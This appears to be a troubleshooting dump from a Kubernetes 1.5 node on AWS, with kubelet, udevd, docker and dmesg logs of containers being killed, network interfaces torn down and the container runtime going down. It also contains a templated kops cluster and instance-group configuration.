   1176 docker_manager.go:1600  container \ ea77d802660f637b812017bbc99512788c8d924a30e2752796b5243106e65f43 default/pod-4186963\r may 24 10:52:08 ip-172-40-8-45 systemd-udevd 10291 : timeout: killing '/etc/sysconfig/network-scripts/ec2net.hotplug'  10306 \r may 24 10:52:08 ip-172-40-8-45 systemd-udevd 10291 : '/etc/sysconfig/network-scripts/ec2net.hotplug'  10306  terminated by signal 9  killed \r may 24 10:52:08 ip-172-40-8-45 systemd-udevd 10291 : timeout 'bridge-network-interface'\r may 24 10:52:08 ip-172-40-8-45 systemd-udevd 10291 : timeout 'net.agent'\r may 24 10:52:08 ip-172-40-8-45 systemd-udevd 10291 : timeout '/lib/systemd/systemd-sysctl --prefix=/proc/sys/net/ipv4/conf/vethwepl18f19c2 --prefix=/proc/sys/net/ipv4/neigh/vethwepl18f19c2 --prefix=/pr\r may 24 10:52:08 ip-172-40-8-45 kubelet 1176 : i0524 10:52:08.024836    1176 docker_manager.go:1600  container \ 2faca0de8d9b333fd894a14ffda2f376615866acc4bbd34c9a7c7b97056d7555 pod-def\r may 24 10:52:08 ip-172-40-8-45 kubelet 1176 : i0524 10:52:08.275854    1176 docker_manager.go:1600  container \ 4545a5aaf661b25ab6e7f1e64c1dd751f039fd1640ce0f7993c34de4edf6b21a pod\r may 24 10:52:08 ip-172-40-8-45 systemd-udevd 10290 : timeout: killing '/etc/sysconfig/network-scripts/ec2net.hotplug'  10293 \r may 24 10:52:08 ip-172-40-8-45 systemd-udevd 10290 : '/etc/sysconfig/network-scripts/ec2net.hotplug'  10293  terminated by signal 9  killed \r may 24 10:52:08 ip-172-40-8-45 systemd-udevd 10290 : timeout 'bridge-network-interface'\r may 24 10:52:08 ip-172-40-8-45 systemd-udevd 10290 : timeout 'net.agent'\r may 24 10:52:08 ip-172-40-8-45 systemd-udevd 10290 : timeout '/lib/systemd/systemd-sysctl --prefix=/proc/sys/net/ipv4/conf/vethwepg18f19c2 --prefix=/proc/sys/net/ipv4/neigh/vethwepg18f19c2 --prefix=/pr\r may 24 10:52:08 ip-172-40-8-45 kubelet 1176 : i0524 10:52:08.471069    1176 server.go:740  get /stats/summary/:  1.338669415s  200   go-http-client/1.1  10.32.0.4:48364 \r may 24 10:52:08 ip-172-40-8-45 docker 1129 : i0524 10:52:08.459067       1 kube_boot.go:112  not in role master; won't scan for volumes\r may 24 10:52:08 ip-172-40-8-45 docker 1129 : i0524 10:52:08.478426       1 kube_boot.go:142  ensuring that kubelet systemd service is running\r may 24 10:52:08 ip-172-40-8-45 kernel: weave: port 24 vethweplbd02c0f  entered disabled state\r may 24 10:52:08 ip-172-40-8-45 kernel: device vethweplbd02c0f left promiscuous mode\r may 24 10:52:08 ip-172-40-8-45 kernel: weave: port 24 vethweplbd02c0f  entered disabled state\r may 24 10:52:08 ip-172-40-8-45 kubelet 1176 : i0524 10:52:08.547510    1176 aws.go:901  could not determine public ip from aws metadata.\r may 24 10:52:08 ip-172-40-8-45 systemd 1 : started kubernetes kubelet server.\r may 24 10:52:08 ip-172-40-8-45 kernel: weave: port 17 vethwepl1714f4e  entered disabled state\r may 24 10:52:08 ip-172-40-8-45 kernel: device vethwepl1714f4e left promiscuous mode\r may 24 10:52:08 ip-172-40-8-45 kernel: weave: port 17 vethwepl1714f4e  entered disabled state\r may 24 10:52:08 ip-172-40-8-45 kernel: weave: port 25 vethwepl99c073d  entered disabled state\r may 24 10:52:08 ip-172-40-8-45 kubelet 1176 : i0524 10:52:08.709693    1176 server.go:740  get /metrics:  504.687682ms  200   prometheus/1.6.0  10.32.0.15:60712 \r may 24 10:52:08 ip-172-40-8-45 kernel: device vethwepl99c073d left promiscuous mode\r may 24 10:52:08 ip-172-40-8-45 kernel: weave: port 25 vethwepl99c073d  entered disabled state\r may 24 10:52:08 ip-172-40-8-45 kernel: weave: port 19 vethwepl2306265  entered disabled state\r may 24 10:52:08 ip-172-40-8-45 kernel: device vethwepl2306265 left promiscuous mode\r may 24 10:52:08 ip-172-40-8-45 kernel: weave: port 19 vethwepl2306265  entered disabled state\r may 24 10:52:08 ip-172-40-8-45 kernel: weave: port 22 vethwepldf21276  entered disabled state\r may 24 10:52:08 ip-172-40-8-45 kernel: device vethwepldf21276 left promiscuous mode\r may 24 10:52:08 ip-172-40-8-45 kernel: weave: port 22 vethwepldf21276  entered disabled state\r may 24 10:52:08 ip-172-40-8-45 kubelet 1176 : i0524 10:52:08.880752    1176 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/edcd0854-35b1-11e7-8a51-025e8008d7f6-\r may 24 10:52:08 ip-172-40-8-45 kernel: weave: port 20 vethweplee8f3f0  entered disabled state\r may 24 10:52:08 ip-172-40-8-45 kernel: device vethweplee8f3f0 left promiscuous mode\r may 24 10:52:08 ip-172-40-8-45 kernel: weave: port 20 vethweplee8f3f0  entered disabled state\r may 24 10:52:08 ip-172-40-8-45 kubelet 1176 : i0524 10:52:08.897445    1176 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/4189e1a3-35b1-11e7-8a51-025e8008d7f6-\r may 24 10:52:08 ip-172-40-8-45 kubelet 1176 : i0524 10:52:08.899525    1176 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/c3f9ff44-35b1-11e7-8a51-025e8008d7f6-\r may 24 10:52:08 ip-172-40-8-45 kubelet 1176 : i0524 10:52:08.899772    1176 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/35ad45ee-35b1-11e7-8a51-025e8008d7f6-\r may 24 10:52:08 ip-172-40-8-45 kubelet 1176 : i0524 10:52:08.899982    1176 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/1af28fe3-35b0-11e7-8a51-025e8008d7f6-\r may 24 10:52:08 ip-172-40-8-45 kubelet 1176 : i0524 10:52:08.916129    1176 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/c593e461-3a2e-11e7-8a51-025e8008d7f6-\r may 24 10:52:08 ip-172-40-8-45 kubelet 1176 : i0524 10:52:08.916306    1176 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/7fe410de-3ca7-11e7-8a51-025e8008d7f6-\r may 24 10:52:08 ip-172-40-8-45 kubelet 1176 : i0524 10:52:08.916957    1176 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/configmap/7fe410de-3ca7-11e7-8a51-025e8008d7\r may 24 10:52:08 ip-172-40-8-45 kubelet 1176 : i0524 10:52:08.919803    1176 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/3104f197-3fbe-11e7-8a51-025e8008d7f6-\r may 24 10:52:08 ip-172-40-8-45 kubelet 1176 : i0524 10:52:08.933902    1176 docker_manager.go:1559  killing container \ bd02c0f43d79711a0476cd49df65ca6db9caa7e87745496a609ded9550620873 default/pod-4186\r may 24 10:52:08 ip-172-40-8-45 kubelet 1176 : i0524 10:52:08.953261    1176 docker_manager.go:1559  killing container \ 1714f4e699dfc3180065804baded371952f8ee25725bde4a0dc013e1acd81e33 default/pod-4186\r may 24 10:52:08 ip-172-40-8-45 kubelet 1176 : i0524 10:52:08.954780    1176 docker_manager.go:1559  killing container \ 2306265e0bfad2065b3d298e5093e309928720f3e4bfe45c9c29008eccee790d default/pod-\r may 24 10:52:08 ip-172-40-8-45 kubelet 1176 : i0524 10:52:08.960979    1176 docker_manager.go:1559  killing container \ 99c073d56ed2a2275c07ea35336f0907921d90a3c09ec64db4f40f31728ca77e default/pod-4186\r may 24 10:52:08 ip-172-40-8-45 kubelet 1176 : i0524 10:52:08.964577    1176 docker_manager.go:1559  killing container \ df21276bd3a4515f0d8b49b9fd539a1167e91b96130d500354d8542878846c9e default/pod-\r may 24 10:52:08 ip-172-40-8-45 kubelet 1176 : i0524 10:52:08.969219    1176 docker_manager.go:1559  killing container \ ee8f3f0d1a927266d91cf43e33400757074cfd2d070bae3b1acde63c3156544e default/pod-\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.092193    1176 docker_manager.go:1600  container \ 99c073d56ed2a2275c07ea35336f0907921d90a3c09ec64db4f40f31728ca77e default/pod-4186963384-0\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.107303    1176 docker_manager.go:1600  container \ 1714f4e699dfc3180065804baded371952f8ee25725bde4a0dc013e1acd81e33 default/pod-4186963384-k\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.108151    1176 docker_manager.go:1600  container \ df21276bd3a4515f0d8b49b9fd539a1167e91b96130d500354d8542878846c9e default/pod-wo\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.111594    1176 docker_manager.go:1600  container \ ee8f3f0d1a927266d91cf43e33400757074cfd2d070bae3b1acde63c3156544e default/pod-\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.112159    1176 docker_manager.go:1600  container \ bd02c0f43d79711a0476cd49df65ca6db9caa7e87745496a609ded9550620873 default/pod-4186963384-d\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.221904    1176 docker_manager.go:1600  container \ 2306265e0bfad2065b3d298e5093e309928720f3e4bfe45c9c29008eccee790d default/pod-work\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.393553    1176 fshandler.go:131  du and find on following dirs took 2.51327409s:  /var/lib/docker/overlay/a3b4dbf37da9cbb363c45df4203ee13e41\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.410661    1176 kubelet.go:1816  syncloop  pleg : \ pod-4186963384-dkw31_default 1e966e57-406a-11e7-8a51-025e8008d7f6 \ , event: &pleg.podlife\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.411001    1176 kubelet.go:1816  syncloop  pleg : \ pod-4186963384-dkw31_default 1e966e57-406a-11e7-8a51-025e8008d7f6 \ , event: &pleg.podlife\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.437802    1176 kubelet.go:1816  syncloop  pleg : \ pod-worker-4239705694-259nt_default 819c0ade-3fd5-11e7-8a51-025e8008d7f6 \ ,\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.438049    1176 kubelet.go:1816  syncloop  pleg : \ pod-worker-4239705694-259nt_default 819c0ade-3fd5-11e7-8a51-025e8008d7f6 \ ,\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.455168    1176 status_manager.go:441  removing pod \ pod-4186963384-dkw31_default 1e966e57-406a-11e7-8a51-025e8008d7f6 \  from etcd\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.493638    1176 kubelet.go:1816  syncloop  pleg : \ pod-psql_default 2ddb57cb-3fc7-11e7-8a51-025e8008d7f6 \ , event: &pleg.podlifecycleevent{i\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.536339    1176 kubelet.go:1816  syncloop  pleg : \ pod-4186963384-k2bnw_default 804aebba-3fd5-11e7-8a51-025e8008d7f6 \ , event: &pleg.podlife\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.537057    1176 kubelet.go:1816  syncloop  pleg : \ pod-4186963384-k2bnw_default 804aebba-3fd5-11e7-8a51-025e8008d7f6 \ , event: &pleg.podlife\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.553045    1176 kubelet.go:1797  syncloop  delete, \ api\  : \ pod-4186963384-dkw31_default 1e966e57-406a-11e7-8a51-025e8008d7f6 \ \r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.553088    1176 kubelet.go:1791  syncloop  remove, \ api\  : \ pod-4186963384-dkw31_default 1e966e57-406a-11e7-8a51-025e8008d7f6 \ \r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.553184    1176 kubelet_pods.go:785  killing unwanted pod \ pod-4186963384-dkw31\ \r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.580370    1176 docker_manager.go:1559  killing container \ bd02c0f43d79711a0476cd49df65ca6db9caa7e87745496a609ded9550620873 default/pod-4186\r may 24 10:52:09 ip-172-40-8-45 dockerd 983 : time=\ 2017-05-24t10:52:09.581526639z\  level=error msg=\ handler for post /v1.24/containers/bd02c0f43d79711a0476cd49df65ca6db9caa7e87745496a609ded9550620873/s\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.584282    1176 docker_manager.go:1600  container \ bd02c0f43d79711a0476cd49df65ca6db9caa7e87745496a609ded9550620873 default/pod-4186963384-d\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : w0524 10:52:09.584589    1176 docker_manager.go:1606  no ref for pod '\ bd02c0f43d79711a0476cd49df65ca6db9caa7e87745496a609ded9550620873 default/pod-418696\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.599008    1176 kubelet.go:1816  syncloop  pleg : \ pod-4186963384-0dmrv_default e34b33c3-406a-11e7-8a51-025e8008d7f6 \ , event: &pleg.podlife\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.599856    1176 kubelet.go:1816  syncloop  pleg : \ pod-4186963384-0dmrv_default e34b33c3-406a-11e7-8a51-025e8008d7f6 \ , event: &pleg.podlife\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.619285    1176 kubelet.go:1816  syncloop  pleg : \ pod-worker-2980058583-2lt3n_default 8202176c-3fd5-11e7-8a51-025e8008d7f6 \ , eve\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.619769    1176 kubelet.go:1816  syncloop  pleg : \ pod-worker-2980058583-2lt3n_default 8202176c-3fd5-11e7-8a51-025e8008d7f6 \ , eve\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.636486    1176 kubelet.go:1816  syncloop  pleg : \ pod-2700730124-tm06z_default 813499cd-3fd5-11e7-8a51-025e8008d7f6 \ , event\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.637217    1176 kubelet.go:1816  syncloop  pleg : \ pod-2700730124-tm06z_default 813499cd-3fd5-11e7-8a51-025e8008d7f6 \ , event\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.640963    1176 fshandler.go:131  du and find on following dirs took 19.471182803s:  /var/lib/docker/overlay/18a327bc4f007dbf802a5eb3ddc50eca\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.649417    1176 fshandler.go:131  du and find on following dirs took 21.564576196s:  /var/lib/docker/overlay/c7233536b93728c2f4b2a8f1f4a15cac\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.663512    1176 fshandler.go:131  du and find on following dirs took 22.680588175s:  /var/lib/docker/overlay/6575464fbc6fd0b3411c1729eb5aa5ec\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.679942    1176 fshandler.go:131  du and find on following dirs took 24.665678317s:  /var/lib/docker/overlay/7e07fd92cf86369801bfd0950a9f53fe\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.696113    1176 fshandler.go:131  du and find on following dirs took 19.987805952s:  /var/lib/docker/overlay/4cbe6b8be21c8915b38e47a8f2ae5541\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.699379    1176 fshandler.go:131  du and find on following dirs took 15.67674449s:  /var/lib/docker/overlay/16bbf6a7c1bfff82cb4ded85019e3f640\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.704978    1176 fshandler.go:131  du and find on following dirs took 9.382653691s:  /var/lib/docker/overlay/767cbb1a5e59df2a9458099cab3ac01ea\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.721496    1176 fshandler.go:131  du and find on following dirs took 2.693747561s:  /var/lib/docker/overlay/197afc516b7bbc5f4aaa17bedaceba09c\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.783938    1176 fshandler.go:131  du and find on following dirs took 2.063637244s:  /var/lib/docker/overlay/6205fb732c84cfe908e44f7091e1aa9e2\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.819242    1176 fshandler.go:131  du and find on following dirs took 2.686865689s:  /var/lib/docker/overlay/ffcebdbc754030f4fe927ffcd99f7a2a9\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.823676    1176 fshandler.go:131  du and find on following dirs took 20.138515191s:  /var/lib/docker/overlay/34bf8ce2c2da628505d5252f4b8a7cc4\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.823791    1176 fshandler.go:131  du and find on following dirs took 2.691449798s:  /var/lib/docker/overlay/dab1ae48be70727f59909418bf81bf041\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.825116    1176 fshandler.go:131  du and find on following dirs took 2.10482136s:  /var/lib/docker/overlay/1a6e547de9fa2bf2a7c969b367fa1143b8\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.825845    1176 reconciler.go:189  unmountvolume operation started for volume \ kubernetes.io/secret/1e966e57-406a-11e7-8a51-025e8008d7f6-defa\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.835062    1176 fshandler.go:131  du and find on following dirs took 2.114749205s:  /var/lib/docker/overlay/16c37715b5361486df6d2e2ed754c09bd\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.856662    1176 fshandler.go:131  du and find on following dirs took 2.724337573s:  /var/lib/docker/overlay/e014dac525f3559947141c894faa9ebd7\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.879520    1176 fshandler.go:131  du and find on following dirs took 2.159215567s:  /var/lib/docker/overlay/3f74ce742f86e981105d068f2b1f05bf2\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.879860    1176 operation_executor.go:992  unmountvolume.teardown succeeded for volume \ kubernetes.io/secret/1e966e57-406a-11e7-8a51-025e8008\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.902804    1176 fshandler.go:131  du and find on following dirs took 2.182492463s:  /var/lib/docker/overlay/4c6ee5dbe46730479513610cc02990cda\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.907871    1176 fshandler.go:131  du and find on following dirs took 3.052916892s:  /var/lib/docker/overlay/a6a356cba57692daf3ae85841d64ac01f\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.910685    1176 fshandler.go:131  du and find on following dirs took 2.69169171s:  /var/lib/docker/overlay/265ca08aa1ad22fc2a07bb23b9a3770dec\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.911904    1176 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/2ddb57cb-3fc7-11e7-8a51-025e8008d7f6-\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.912464    1176 fshandler.go:131  du and find on following dirs took 1.365242757s:  /var/lib/docker/overlay/5cecbd11ae9cd7050b42a955f95265704\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.915123    1176 fshandler.go:131  du and find on following dirs took 2.819152788s:  /var/lib/docker/overlay/70dd6b22628ff2e716f0100bb14cec5c2\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.917657    1176 fshandler.go:131  du and find on following dirs took 2.78534355s:  /var/lib/docker/overlay/0a26b73a4a0d2fd2ae0d89e01ab46c8dfe\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.928037    1176 reconciler.go:351  detached volume \ kubernetes.io/secret/1e966e57-406a-11e7-8a51-025e8008d7f6-default-token-jpm2p\   spec.name\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.929117    1176 fshandler.go:131  du and find on following dirs took 3.054892614s:  /var/lib/docker/overlay/b3b3efb5daf9093c1d8d8bf0c25d7f8b4\r may 24 10:52:09 ip-172-40-8-45 kubelet 1176 : i0524 10:52:09.932497    1176 fshandler.go:131  du and find on following dirs took 5.848699614s:  /var/lib/docker/overlay/92ac73bda1ce0c43f3b5abe460d24b3fc\r may 24 10:52:10 ip-172-40-8-45 kubelet 1176 : i0524 10:52:10.116475    1176 docker_manager.go:2519  checking backoff for container \ pod-psql\  in pod \ pod-psql\ \r may 24 10:52:10 ip-172-40-8-45 kubelet 1176 : i0524 10:52:10.145099    1176 server.go:740  get /metrics:  74.669861ms  200   prometheus/1.6.0  10.32.0.15:60828 \r may 24 10:52:10 ip-172-40-8-45 kubelet 1176 : i0524 10:52:10.205029    1176 kubelet_pods.go:785  killing unwanted pod \ pod-4186963384-dkw31\ \r may 24 10:52:10 ip-172-40-8-45 kubelet 1176 : i0524 10:52:10.231536    1176 docker_manager.go:1559  killing container \ bd02c0f43d79711a0476cd49df65ca6db9caa7e87745496a609ded9550620873 /\  with 30 second\r may 24 10:52:10 ip-172-40-8-45 dockerd 983 : time=\ 2017-05-24t10:52:10.232088704z\  level=error msg=\ handler for post /v1.24/containers/bd02c0f43d79711a0476cd49df65ca6db9caa7e87745496a609ded9550620873/s\r may 24 10:52:10 ip-172-40-8-45 kubelet 1176 : i0524 10:52:10.232709    1176 docker_manager.go:1600  container \ bd02c0f43d79711a0476cd49df65ca6db9caa7e87745496a609ded9550620873 /\  exited after 1.018921m\r may 24 10:52:10 ip-172-40-8-45 kubelet 1176 : w0524 10:52:10.232727    1176 docker_manager.go:1606  no ref for pod '\ bd02c0f43d79711a0476cd49df65ca6db9caa7e87745496a609ded9550620873 /\ '\r may 24 10:52:10 ip-172-40-8-45 kubelet 1176 : i0524 10:52:10.320486    1176 status_manager.go:441  removing pod \ pod-worker-4239705694-259nt_default 819c0ade-3fd5-11e7-8a51-025e8008d7f6 \r may 24 10:52:10 ip-172-40-8-45 kubelet 1176 : i0524 10:52:10.379903    1176 fshandler.go:131  du and find on following dirs took 16.5829798s:  /var/lib/docker/overlay/d2deaa2d8854f2aa8a1a682b6e6750c0be\r may 24 10:52:10 ip-172-40-8-45 kubelet 1176 : i0524 10:52:10.517660    1176 kubelet.go:1797  syncloop  delete, \ api\  : \ pod-worker-4239705694-259nt_default 819c0ade-3fd5-11e7-8a51-025e80\r may 24 10:52:10 ip-172-40-8-45 kubelet 1176 : i0524 10:52:10.525295    1176 kubelet.go:1791  syncloop  remove, \ api\  : \ pod-worker-4239705694-259nt_default 819c0ade-3fd5-11e7-8a51-025e80\r may 24 10:52:10 ip-172-40-8-45 kubelet 1176 : i0524 10:52:10.531132    1176 kubelet.go:1995  failed to delete pod \ pod-worker-4239705694-259nt_default 819c0ade-3fd5-11e7-8a51-025e8008d7f\r may 24 10:52:10 ip-172-40-8-45 ntpd 946 : deleting interface  239 vethwepl99c073d, fe80::c038:6cff:feff:da34 123, interface stats: received=0, sent=0, dropped=0, active_time=1779 secs\r may 24 10:52:10 ip-172-40-8-45 ntpd 946 : deleting interface  238 vethweplbd02c0f, fe80::2424:72ff:fe19:e16a 123, interface stats: received=0, sent=0, dropped=0, active_time=2109 secs\r may 24 10:52:10 ip-172-40-8-45 ntpd 946 : deleting interface  216 vethwepldf21276, fe80::f031:a9ff:fe02:cfd6 123, interface stats: received=0, sent=0, dropped=0, active_time=65936 secs\r may 24 10:52:10 ip-172-40-8-45 ntpd 946 : deleting interface  215 vethwepl2306265, fe80::9c0c:b7ff:fe0f:77a8 123, interface stats: received=0, sent=0, dropped=0, active_time=65938 secs\r may 24 10:52:10 ip-172-40-8-45 ntpd 946 : deleting interface  214 vethwepl1714f4e, fe80::2062:cfff:fe46:204b 123, interface stats: received=0, sent=0, dropped=0, active_time=65938 secs\r may 24 10:52:10 ip-172-40-8-45 ntpd 946 : deleting interface  213 vethweplee8f3f0, fe80::ac74:bff:fef8:877 123, interface stats: received=0, sent=0, dropped=0, active_time=65938 secs\r may 24 10:52:10 ip-172-40-8-45 ntpd 946 : peers refreshed\r ...\r ...\r may 24 14:50:06 ip-172-40-8-45 kubelet 535 : i0524 14:50:06.329407     535 kubelet.go:1725  skipping pod synchronization -  container runtime is down \r    \r \r node - dmesg last 20-30 entries\r    \r 1181369.793583  ipv6: addrconf netdev_up : vethwepl5d0f784: link is not ready\r  1181369.797573  eth0: renamed from vethwepg96b87ce\r  1181369.812537  ipv6: addrconf netdev_up : vethwepl955feee: link is not ready\r  1181369.815528  weave: port 19 vethwepl955feee  entered forwarding state\r  1181369.818203  weave: port 19 vethwepl955feee  entered forwarding state\r  1181369.822505  ipv6: addrconf netdev_up : vethwepl96b87ce: link is not ready\r  1181369.825411  weave: port 20 vethwepl96b87ce  entered forwarding state\r  1181369.828152  weave: port 20 vethwepl96b87ce  entered forwarding state\r  1181369.834877  ipv6: addrconf netdev_change : vethwepl955feee: link becomes ready\r  1181369.838045  weave: port 20 vethwepl96b87ce  entered disabled state\r  1181369.841100  ipv6: addrconf netdev_change : vethwepl5d0f784: link becomes ready\r  1181369.844349  weave: port 17 vethwepl5d0f784  entered forwarding state\r  1181369.846893  weave: port 17 vethwepl5d0f784  entered forwarding state\r  1181369.853943  ipv6: addrconf netdev_change : vethwepl96b87ce: link becomes ready\r  1181369.856732  weave: port 20 vethwepl96b87ce  entered forwarding state\r  1181369.859175  weave: port 20 vethwepl96b87ce  entered forwarding state\r  1181370.620195  ipv6: eth0: ipv6 duplicate address fe80::7419:a3ff:feac:11b detected!\r  1181370.636202  ipv6: eth0: ipv6 duplicate address fe80::ece6:9ff:fed7:68da detected!\r  1181370.656201  ipv6: eth0: ipv6 duplicate address fe80::5884:38ff:fe51:81c8 detected!\r  1181384.860059  weave: port 19 vethwepl955feee  entered forwarding state\r  1181384.862904  weave: port 17 vethwepl5d0f784  entered forwarding state\r  1181384.865750  weave: port 20 vethwepl96b87ce  entered forwarding state\r  1181535.656800  ctnetlink v0.93: registering with nfnetlink.\r  1184049.872302  systemd 1 : starting journal service...\r  1184131.574613  systemd-journald 207 : received sigterm from pid 1  systemd .\r  1184139.443303  systemd 1 : systemd-journald.service stop-sigterm timed out. killing.\r  1184140.623960  systemd 1 : starting journal service...\r  1184141.493588  systemd 1 : systemd-journald.service: main process exited, code=killed, status=9/kill\r  1184141.500282  systemd 1 : unit systemd-journald.service entered failed state.\r  1184142.764324  systemd 1 : systemd-journald.service has no holdoff time, scheduling restart.\r  1184142.769644  systemd 1 : stopping journal service...\r  1184142.773286  systemd 1 : starting journal service...\r  1184144.664301  systemd 1 : started journal service.\r  1184151.763079  systemd 1 : systemd-journald.service has no holdoff time, scheduling restart.\r  1184151.767200  systemd 1 : stopping journal service...\r  1184151.769279  systemd 1 : starting journal service...\r  1184151.784323  systemd 1 : started journal service.\r  1184155.465852  systemd-journald 573 : file /var/log/journal/12ee2229b71b4b839bcb88d57d47d735/system.journal corrupted or uncleanly shut down, renaming and replacing.\r    \r \r kops cluster template\r    \r apiversion: kops/v1alpha2\r kind: cluster\r metadata:\r   name: {{ cluster_name }}\r spec:\r   api:\r     loadbalancer:\r       type: public\r   channel: stable\r   cloudprovider: aws\r   configbase: s3://{{ s3_bucket }}/{{ cluster_name }}\r   etcdclusters:\r   - etcdmembers: {% for availability_zone in availability_zones %}\r     - instancegroup: master-{{ availability_zone }}\r       name: {{ availability_zone }} {% endfor %}\r     name: main\r   - etcdmembers: {% for availability_zone in availability_zones %}\r     - instancegroup: master-{{ availability_zone }}\r       name: {{ availability_zone }} {% endfor %}\r     name: events\r   kubeapiserver:\r     runtimeconfig:\r       batch/v2alpha1: \ true\ \r   kubernetesapiaccess:\r   - 0.0.0.0/0\r   kubernetesversion: 1.5.6\r   masterinternalname: api.internal.{{ cluster_name }}\r   masterpublicname: api.{{ cluster_name }}\r   networkcidr: {{ vpc_cidr_base }}.0.0/16\r   networkid: {{ vpc }}\r   networking:\r     cni: {}\r   nonmasqueradecidr: 100.64.0.0/10\r   sshaccess:\r   - 0.0.0.0/0\r   subnets: {% for availability_zone in availability_zones %}\r   - cidr: {{ vpc_cidr_base }}.{{ subnet_cidr_start +  loop.index - 1    2 }}.0/24\r     name: {{ availability_zone }}\r     zone: {{ availability_zone }}\r     type: private\r     egress: {{ nat_id }}\r   - cidr: {{ vpc_cidr_base }}.{{ subnet_cidr_start + 1 +  loop.index - 1    2 }}.0/24\r     name: utility-{{ availability_zone }}\r     zone: {{ availability_zone }}\r     type: utility {% endfor %}\r   topology:\r     dns:\r       type: public\r     masters: private\r     nodes: private\r ---\r apiversion: kops/v1alpha2\r kind: instancegroup\r metadata:\r   labels:\r     kops.k8s.io/cluster: {{ cluster_name }} \r   name: master-{{ availability_zone }}\r spec:\r   image: kope.io/k8s-1.5-debian-jessie-amd64-hvm-ebs-2017-01-09\r   machinetype: {{ instance_type }}\r   maxsize: 1\r   minsize: 1\r   role: master\r   subnets:\r   - {{ availability_zone }}\r ---\r apiversion: kops/v1alpha2\r kind: instancegroup\r metadata:\r   labels:\r     kops.k8s.io/cluster: {{ cluster_name }}\r   name: nodes\r spec:\r   image: kope.io/k8s-1.5-debian-jessie-amd64-hvm-ebs-2017-01-09\r   machinetype: {{ instance_type }}\r   maxsize: {{ max_size }}\r   minsize: {{ min_size }}\r   role: node\r   subnets: {% for availability_zone in availability_zones %}\r   - {{ availability_zone }} {% endfor %}\r    \r

